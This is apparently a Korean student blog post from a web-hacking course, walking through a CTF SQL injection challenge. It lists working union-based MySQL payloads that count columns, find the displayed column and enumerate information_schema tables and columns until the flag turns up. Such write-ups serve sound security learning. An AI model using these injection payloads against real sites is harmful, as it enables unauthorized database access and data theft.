요약 및 힌트
데이터의 조회 결과가 몇건이건 한건만 보여지기에 든 생각으로 데이터를 모두 가지고오더라도 php 소스에서 첫 데이터만 화면에 표시하는 듯 하다. 그렇기 때문에 limit을 사용하여 데이터의 결과 순서를 변경했다.
만약 데이터들이 몇만건씩 있다면 limit 부분을 python으로 전송하여 데이터를 조회하는것도 좋은 방법일 듯 하다
참고로 SQL Injection1의 풀이는 6주차 정리에 있다.
문제 풀이
'한개만 입력을 넣으니 동작을 하지 않는다.
아무런 데이터를 넣어도 1개의 row는 존재하며 normaltic을 입력시 info에 데이터가 출력된다
예상되는 Back-End의 로직은 2가지
1. 테이블에서 id로 info만 조회하고 level, rank Point는 모두 화면에서 마스킹 고정
즉 테이블은 4개의 정보를 가지고 있는 것 처럼보이지만 실제로는 info 하나의 컬럼만 조회하고 있는 듯?
2. select '입력받은 id값', '****', '****', (select info from table where id = '입력받은 id값') from dual
1번 케이스가 더 의심간다...
일단 order by로 선행 select의 컬럼이 몇개 존재하는지 확인하보자
normaltic' order by 1 #
이제 어느 컬럼이 화면에 표기되는지 union으로 잡아보자
normaltic' union select 1,2,3,4,5,6 from dual #
db에서 가지고 온 데이터를 화면에서 뿌릴때 인덱스(배열의 인덱스) 0번만 가져오는거 같다... 그렇다면 없는 데이터를 union으로 넘긴다면 내가 넘긴 데이터를 조회 할 수 있을 것이다.
info는 6번째 컬럼에 있다는 걸 알았다.
이제 DB, Table, COLUMN을 찾아보자
123' union select 1,2,3,4,5,database() from dual #
이제 테이블 찾기가 노가다일것 같다.... limit 1,1 , limit 2,1 이런식으로 찾아도 되고...
생각해보니 테이블생성일시에 대한 컬럼이 있을 것 같다.
기본 mysql테이블보다 늦게 생성되었을 태니 역순 정렬하면 될듯 하다
union과 order by를 같이 쓰려면 서브쿼리로 써야한다.... 서브쿼리는 쓸 수 없으니 count로 총 테이블의 개수를 찾고 limit으로 거꾸로 찾아가보자
123' union select 1,2,3,4,5, count(TABLE_NAME) from information_schema.TABLES #
총 64개의 테이블이 있다.
limit 60, 1부터 늘려가보자
123' union select 1,2,3,4,5, TABLE_NAME from information_schema.TABLES limit 60, 1#
123' union select 1,2,3,4,5, COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA = 'sqli_5'and TABLE_NAME = 'flag_honey' #
flag_honey 테이블에서 flag 컬럼을 가져오자
이 테이블이 아닌가보다 count결과 1개의 데이터만 존재하기 때문이다.
다른 테이블을 찾아보니 secret이라는 이름의 테이블이 존재한다. 컬럼을 찾아보자
여기도 플래그라는 컬럼이 존재한다.
총 데이터가 몇개 존재할까?
그렇다면 2번째 데이터에는 정답이 있지 않을까?
빙고!
'웹 해킹 코스 > 과제' 카테고리의 다른 글
CTF Athentication Bypass(PIN CODE Bypass) (1) | 2023.12.01 |
---|---|
CTF Athentication Bypass(Get Admin) (1) | 2023.12.01 |
4-3 게시판 구현하기(게시판 목록) (1) | 2023.11.19 |
4-2 게시판 구현하기(게시판 등록) (0) | 2023.11.19 |
4-1 javascript를 사용한 키로거 (0) | 2023.11.16 |